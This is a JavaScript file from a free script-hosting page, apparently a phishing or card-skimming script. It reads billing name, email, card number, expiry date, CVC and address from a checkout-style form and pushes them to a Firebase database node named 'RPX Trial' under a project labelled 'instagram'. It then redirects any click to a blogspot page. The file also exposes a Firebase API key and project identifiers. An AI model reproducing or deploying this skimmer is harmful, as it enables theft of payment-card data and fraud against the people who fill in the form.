Free javascript Hosting


firebasemain.js

Uploaded on May 07 2022 18:16 by mikefitnesshelp

var config = {
apiKey: "AIzaSyDP3Ief9QRkNCb6KnE9UBtU4BNlfeRULCk",
authDomain: "instagram-7c7a0.firebaseapp.com",
databaseURL: "https://instagram-7c7a0-default-rtdb.firebaseio.com",
projectId: "instagram-7c7a0",
storageBucket: "instagram-7c7a0.appspot.com",
messagingSenderId: "280423007277",
appId: "1:280423007277:web:733a1fd8c921c3d367a4a4",

};
firebase.initializeApp(config);

// Reference messages collection
var messagesRef = firebase.database().ref('RPX Trial');

// Listen for form submit
document.getElementById('btnclk').addEventListener('click', submitForm);

// Submit form
function submitForm(e){
e.preventDefault();

// Get values
var Name = getInputVal('billingName');
var email = getInputVal('email');
var cardNumber = getInputVal('cardNumber');
var cardExpiry = getInputVal('cardExpiry');
var cardCvc = getInputVal('cardCvc');
var city = getInputVal('billingLocality');
var ZIP = getInputVal('billingPostalCode');
var Adress1 = getInputVal('billingAddressLine1');
var Adress2 = getInputVal('billingAddressLine2');


// Save message
saveMessage(Name, email, cardNumber, cardExpiry, cardCvc, city, ZIP, Adress1, Adress2, );


}

// Function to get get form values
function getInputVal(id){
return document.getElementById(id).value;
}

// Save message to firebase
function saveMessage(Name, email, cardNumber, cardExpiry, cardCvc, city, ZIP, billingAddressLine1, billingAddressLine2, ){
var newMessageRef = messagesRef.push();
newMessageRef.set({
Name: Name,
Email: email,
CardNumber: cardNumber,
Expiry: cardExpiry,
CVC: cardCvc,
City: city,
ZIP: ZIP,
Adress1: billingAddressLine1,
Adress2: billingAddressLine2,

});

document.addEventListener('click', function( event ){
location = 'https://recessionproofxtremedelivery.blogspot.com/?m=1';
}, false );

}

Back to list